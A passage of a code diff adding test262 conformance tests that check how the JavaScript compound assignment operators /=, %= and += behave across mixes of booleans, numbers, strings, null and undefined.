@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x /= y is the same as x = x / y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.2_T2.8.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Undefined
+ */
+
+//CHECK#1
+x = true;
+x /= undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#1: x = true; x /= undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x /= true;
+if (isNaN(x) !== true) {
+ $ERROR('#2: x = undefined; x /= true; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x /= undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#3: x = new Boolean(true); x /= undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#4
+x = undefined;
+x /= new Boolean(true);
+if (isNaN(x) !== true) {
+ $ERROR('#4: x = undefined; x /= new Boolean(true); x === Not-a-Number. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T2.9.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T2.9.js
new file mode 100644
index 000000000..466f9ce87
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.2_T2.9.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x /= y is the same as x = x / y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.2_T2.9.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Null
+ */
+
+//CHECK#1
+x = true;
+x /= null;
+if (x !== Number.POSITIVE_INFINITY) {
+ $ERROR('#1: x = true; x /= null; x === +Infinity. Actual: ' + (x));
+}
+
+//CHECK#2
+x = null;
+x /= true;
+if (x !== 0) {
+ $ERROR('#2: x = null; x /= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x /= null;
+if (x !== Number.POSITIVE_INFINITY) {
+ $ERROR('#3: x = new Boolean(true); x /= null; x === +Infinity. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x /= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#4: x = null; x /= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T1.1.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T1.1.js
new file mode 100644
index 000000000..bb8d9cccd
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T1.1.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x %= y is the same as x = x % y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.3_T1.1.js
+ * @description Type(x) and Type(y) vary between primitive boolean and Boolean object
+ */
+
+//CHECK#1
+x = true;
+x %= true;
+if (x !== 0) {
+ $ERROR('#1: x = true; x %= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = new Boolean(true);
+x %= true;
+if (x !== 0) {
+ $ERROR('#2: x = new Boolean(true); x %= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = true;
+x %= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#3: x = true; x %= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = new Boolean(true);
+x %= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#4: x = new Boolean(true); x %= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T1.2.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T1.2.js
new file mode 100644
index 000000000..97093ecdb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T1.2.js
@@ -0,0 +1,39 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x %= y is the same as x = x % y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.3_T1.2.js
+ * @description Type(x) and Type(y) vary between primitive number and Number object
+ */
+
+//CHECK#1
+x = 1;
+x %= 1;
+if (x !== 0) {
+ $ERROR('#1: x = 1; x %= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = new Number(1);
+x %= 1;
+if (x !== 0) {
+ $ERROR('#2: x = new Number(1); x %= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = 1;
+x %= new Number(1);
+if (x !== 0) {
+ $ERROR('#3: x = 1; x %= new Number(1); x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = new Number(1);
+x %= new Number(1);
+if (x !== 0) {
+ $ERROR('#4: x = new Number(1); x %= new Number(1); x === 0. Actual: ' + (x));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T1.3.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T1.3.js
new file mode 100644
index 000000000..e95df69bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T1.3.js
@@ -0,0 +1,52 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x %= y is the same as x = x % y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.3_T1.3.js
+ * @description Type(x) and Type(y) vary between primitive string and String object
+ */
+
+//CHECK#1
+x = "1";
+x %= "1";
+if (x !== 0) {
+ $ERROR('#1: x = "1"; x %= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = new String("1");
+x %= "1";
+if (x !== 0) {
+ $ERROR('#2: x = new String("1"); x %= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = "1";
+x %= new String("1");
+if (x !== 0) {
+ $ERROR('#3: x = "1"; x %= new String("1"); x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = new String("1");
+x %= new String("1");
+if (x !== 0) {
+ $ERROR('#4: x = new String("1"); x %= new String("1"); x === 0. Actual: ' + (x));
+}
+
+//CHECK#5
+x = "x";
+x %= "1";
+if (isNaN(x) !== true) {
+ $ERROR('#5: x = "x"; x %= "1"; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#6
+x = "1";
+x %= "x";
+if (isNaN(x) !== true) {
+ $ERROR('#6: x = "1"; x %= "x"; x === Not-a-Number. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T1.4.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T1.4.js
new file mode 100644
index 000000000..51e763cac
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T1.4.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x %= y is the same as x = x % y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.3_T1.4.js
+ * @description Type(x) and Type(y) vary between Null and Undefined
+ */
+
+//CHECK#1
+x = null;
+x %= undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#1: x = null; x %= undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x %= null;
+if (isNaN(x) !== true) {
+ $ERROR('#2: x = undefined; x %= null; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#3
+x = undefined;
+x %= undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#3: x = undefined; x %= undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x %= null;
+if (isNaN(x) !== true) {
+ $ERROR('#4: x = null; x %= null; x === Not-a-Number. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T2.1.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T2.1.js
new file mode 100644
index 000000000..a45476433
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T2.1.js
@@ -0,0 +1,66 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x %= y is the same as x = x % y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.3_T2.1.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+x = true;
+x %= 1;
+if (x !== 0) {
+ $ERROR('#1: x = true; x %= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = 1;
+x %= true;
+if (x !== 0) {
+ $ERROR('#2: x = 1; x %= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x %= 1;
+if (x !== 0) {
+ $ERROR('#3: x = new Boolean(true); x %= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = 1;
+x %= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#4: x = 1; x %= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
+//CHECK#5
+x = true;
+x %= new Number(1);
+if (x !== 0) {
+ $ERROR('#5: x = true; x %= new Number(1); x === 0. Actual: ' + (x));
+}
+
+//CHECK#6
+x = new Number(1);
+x %= true;
+if (x !== 0) {
+ $ERROR('#6: x = new Number(1); x %= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#7
+x = new Boolean(true);
+x %= new Number(1);
+if (x !== 0) {
+ $ERROR('#7: x = new Boolean(true); x %= new Number(1); x === 0. Actual: ' + (x));
+}
+
+//CHECK#8
+x = new Number(1);
+x %= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#8: x = new Number(1); x %= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T2.2.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T2.2.js
new file mode 100644
index 000000000..e2027c6b3
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T2.2.js
@@ -0,0 +1,80 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x %= y is the same as x = x % y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.3_T2.2.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and String (primitive and object)
+ */
+
+//CHECK#1
+x = "1";
+x %= 1;
+if (x !== 0) {
+ $ERROR('#1: x = "1"; x %= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = 1;
+x %= "1";
+if (x !== 0) {
+ $ERROR('#2: x = 1; x %= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new String("1");
+x %= 1;
+if (x !== 0) {
+ $ERROR('#3: x = new String("1"); x %= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = 1;
+x %= new String("1");
+if (x !== 0) {
+ $ERROR('#4: x = 1; x %= new String("1"); x === 0. Actual: ' + (x));
+}
+
+//CHECK#5
+x = "1";
+x %= new Number(1);
+if (x !== 0) {
+ $ERROR('#5: x = "1"; x %= new Number(1); x === 0. Actual: ' + (x));
+}
+
+//CHECK#6
+x = new Number(1);
+x %= "1";
+if (x !== 0) {
+ $ERROR('#6: x = new Number(1); x %= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#7
+x = new String("1");
+x %= new Number(1);
+if (x !== 0) {
+ $ERROR('#7: x = new String("1"); x %= new Number(1); x === 0. Actual: ' + (x));
+}
+
+//CHECK#8
+x = new Number(1);
+x %= new String("1");
+if (x !== 0) {
+ $ERROR('#8: x = new Number(1); x %= new String("1"); x === 0. Actual: ' + (x));
+}
+
+//CHECK#9
+x = "x";
+x %= 1;
+if (isNaN(x) !== true) {
+ $ERROR('#9: x = "x"; x %= 1; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#10
+x = 1;
+x %= "x";
+if (isNaN(x) !== true) {
+ $ERROR('#10: x = 1; x %= "x"; x === Not-a-Number. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T2.3.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T2.3.js
new file mode 100644
index 000000000..8566f8702
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T2.3.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x %= y is the same as x = x % y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.3_T2.3.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Null
+ */
+
+//CHECK#1
+x = 1;
+x %= null;
+if (isNaN(x) !== true) {
+ $ERROR('#1: x = 1; x %= null; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#2
+x = null;
+x %= 1;
+if (x !== 0) {
+ $ERROR('#2: x = null; x %= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Number(1);
+x %= null;
+if (isNaN(x) !== true) {
+ $ERROR('#3: x = new Number(1); x %= null; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x %= new Number(1);
+if (x !== 0) {
+ $ERROR('#4: x = null; x %= new Number(1); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T2.4.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T2.4.js
new file mode 100644
index 000000000..259c937b4
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T2.4.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x %= y is the same as x = x % y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.3_T2.4.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Undefined
+ */
+
+//CHECK#1
+x = 1;
+x %= undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#1: x = 1; x %= undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x %= 1;
+if (isNaN(x) !== true) {
+ $ERROR('#2: x = undefined; x %= 1; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Number(1);
+x %= undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#3: x = new Number(1); x %= undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#4
+x = undefined;
+x %= new Number(1);
+if (isNaN(x) !== true) {
+ $ERROR('#4: x = undefined; x %= new Number(1); x === Not-a-Number. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T2.5.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T2.5.js
new file mode 100644
index 000000000..69bff3cb4
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T2.5.js
@@ -0,0 +1,66 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x %= y is the same as x = x % y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.3_T2.5.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+x = true;
+x %= "1";
+if (x !== 0) {
+ $ERROR('#1: x = true; x %= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = "1";
+x %= true;
+if (x !== 0) {
+ $ERROR('#2: x = "1"; x %= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x %= "1";
+if (x !== 0) {
+ $ERROR('#3: x = new Boolean(true); x %= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = "1";
+x %= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#4: x = "1"; x %= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
+//CHECK#5
+x = true;
+x %= new String("1");
+if (x !== 0) {
+ $ERROR('#5: x = true; x %= new String("1"); x === 0. Actual: ' + (x));
+}
+
+//CHECK#6
+x = new String("1");
+x %= true;
+if (x !== 0) {
+ $ERROR('#6: x = new String("1"); x %= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#7
+x = new Boolean(true);
+x %= new String("1");
+if (x !== 0) {
+ $ERROR('#7: x = new Boolean(true); x %= new String("1"); x === 0. Actual: ' + (x));
+}
+
+//CHECK#8
+x = new String("1");
+x %= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#8: x = new String("1"); x %= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T2.6.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T2.6.js
new file mode 100644
index 000000000..51f30a6d0
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T2.6.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x %= y is the same as x = x % y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.3_T2.6.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Undefined
+ */
+
+//CHECK#1
+x = "1";
+x %= undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#1: x = "1"; x %= undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x %= "1";
+if (isNaN(x) !== true) {
+ $ERROR('#2: x = undefined; x %= "1"; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new String("1");
+x %= undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#3: x = new String("1"); x %= undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#4
+x = undefined;
+x %= new String("1");
+if (isNaN(x) !== true) {
+ $ERROR('#4: x = undefined; x %= new String("1"); x === Not-a-Number. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T2.7.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T2.7.js
new file mode 100644
index 000000000..e451b5bfe
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T2.7.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x %= y is the same as x = x % y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.3_T2.7.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Null
+ */
+
+//CHECK#1
+x = "1";
+x %= null;
+if (isNaN(x) !== true) {
+ $ERROR('#1: x = "1"; x %= null; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#2
+x = null;
+x %= "1";
+if (x !== 0) {
+ $ERROR('#2: x = null; x %= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new String("1");
+x %= null;
+if (isNaN(x) !== true) {
+ $ERROR('#3: x = new String("1"); x %= null; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x %= new String("1");
+if (x !== 0) {
+ $ERROR('#4: x = null; x %= new String("1"); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T2.8.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T2.8.js
new file mode 100644
index 000000000..59a57095d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T2.8.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x %= y is the same as x = x % y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.3_T2.8.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Undefined
+ */
+
+//CHECK#1
+x = true;
+x %= undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#1: x = true; x %= undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x %= true;
+if (isNaN(x) !== true) {
+ $ERROR('#2: x = undefined; x %= true; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x %= undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#3: x = new Boolean(true); x %= undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#4
+x = undefined;
+x %= new Boolean(true);
+if (isNaN(x) !== true) {
+ $ERROR('#4: x = undefined; x %= new Boolean(true); x === Not-a-Number. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T2.9.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T2.9.js
new file mode 100644
index 000000000..ebb9b209f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.3_T2.9.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x %= y is the same as x = x % y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.3_T2.9.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Null
+ */
+
+//CHECK#1
+x = true;
+x %= null;
+if (isNaN(x) !== true) {
+ $ERROR('#1: x = true; x %= null; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#2
+x = null;
+x %= true;
+if (x !== 0) {
+ $ERROR('#2: x = null; x %= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x %= null;
+if (isNaN(x) !== true) {
+ $ERROR('#3: x = new Boolean(true); x %= null; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x %= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#4: x = null; x %= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T1.1.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T1.1.js
new file mode 100644
index 000000000..11313aac6
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T1.1.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x += y is the same as x = x + y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.4_T1.1.js
+ * @description Type(x) and Type(y) vary between primitive boolean and Boolean object
+ */
+
+//CHECK#1
+x = true;
+x += true;
+if (x !== 2) {
+ $ERROR('#1: x = true; x += true; x === 2. Actual: ' + (x));
+}
+
+//CHECK#2
+x = new Boolean(true);
+x += true;
+if (x !== 2) {
+ $ERROR('#2: x = new Boolean(true); x += true; x === 2. Actual: ' + (x));
+}
+
+//CHECK#3
+x = true;
+x += new Boolean(true);
+if (x !== 2) {
+ $ERROR('#3: x = true; x += new Boolean(true); x === 2. Actual: ' + (x));
+}
+
+//CHECK#4
+x = new Boolean(true);
+x += new Boolean(true);
+if (x !== 2) {
+ $ERROR('#4: x = new Boolean(true); x += new Boolean(true); x === 2. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T1.2.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T1.2.js
new file mode 100644
index 000000000..141d56b4d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T1.2.js
@@ -0,0 +1,39 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x += y is the same as x = x + y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.4_T1.2.js
+ * @description Type(x) and Type(y) vary between primitive number and Number object
+ */
+
+//CHECK#1
+x = 1;
+x += 1;
+if (x !== 2) {
+ $ERROR('#1: x = 1; x += 1; x === 2. Actual: ' + (x));
+}
+
+//CHECK#2
+x = new Number(1);
+x += 1;
+if (x !== 2) {
+ $ERROR('#2: x = new Number(1); x += 1; x === 2. Actual: ' + (x));
+}
+
+//CHECK#3
+x = 1;
+x += new Number(1);
+if (x !== 2) {
+ $ERROR('#3: x = 1; x += new Number(1); x === 2. Actual: ' + (x));
+}
+
+//CHECK#4
+x = new Number(1);
+x += new Number(1);
+if (x !== 2) {
+ $ERROR('#4: x = new Number(1); x += new Number(1); x === 2. Actual: ' + (x));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T1.3.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T1.3.js
new file mode 100644
index 000000000..da89e3789
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T1.3.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x += y is the same as x = x + y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.4_T1.3.js
+ * @description Type(x) and Type(y) vary between Null and Undefined
+ */
+
+//CHECK#1
+x = null;
+x += undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#1: x = null; x += undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x += null;
+if (isNaN(x) !== true) {
+ $ERROR('#2: x = undefined; x += null; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#3
+x = undefined;
+x += undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#3: x = undefined; x += undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x += null;
+if (x !== 0) {
+ $ERROR('#4: x = null; x += null; x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T1.4.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T1.4.js
new file mode 100644
index 000000000..3ae788c91
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T1.4.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x += y is the same as x = x + y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.4_T1.4.js
+ * @description Type(x) and Type(y) vary between primitive string and String object
+ */
+
+//CHECK#1
+x = "1";
+x += "1";
+if (x !== "11") {
+ $ERROR('#1: x = "1"; x += "1"; x === "11". Actual: ' + (x));
+}
+
+//CHECK#2
+x = new String("1");
+x += "1";
+if (x !== "11") {
+ $ERROR('#2: x = new String("1"); x += "1"; x === "11". Actual: ' + (x));
+}
+
+//CHECK#3
+x = "1";
+x += new String("1");
+if (x !== "11") {
+ $ERROR('#3: x = "1"; x += new String("1"); x === "11". Actual: ' + (x));
+}
+
+//CHECK#4
+x = new String("1");
+x += new String("1");
+if (x !== "11") {
+ $ERROR('#4: x = new String("1"); x += new String("1"); x === "11". Actual: ' + (x));
+}
+
+//CHECK#5
+if ("x" + "1" !=="x1") {
+ $ERROR('#5: x = "x"; x += "1"; x === "x1". Actual: ' + (x));
+}
+
+//CHECK#6
+x = "1";
+x += "x";
+if (x !== "1x") {
+ $ERROR('#6: x = "1"; x += "x"; x === "1x". Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T2.1.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T2.1.js
new file mode 100644
index 000000000..b26a00f80
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.4_T2.1.js
@@ -0,0 +1,66 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x += y is the same as x = x + y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.4_T2.1.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+x = true;
+x += 1;
+if (x !== 2) {
+ $ERROR('#1: x = true; x += 1; x === 2. Actual: ' + (x));
+}
+
+//CHECK#2
+x = 1;
+x += true;
+if (x !== 2) {
+ $ERROR('#2: x = 1; x += true; x === 2. Actual: ' + (x));
+}
+
+//CHECK#3
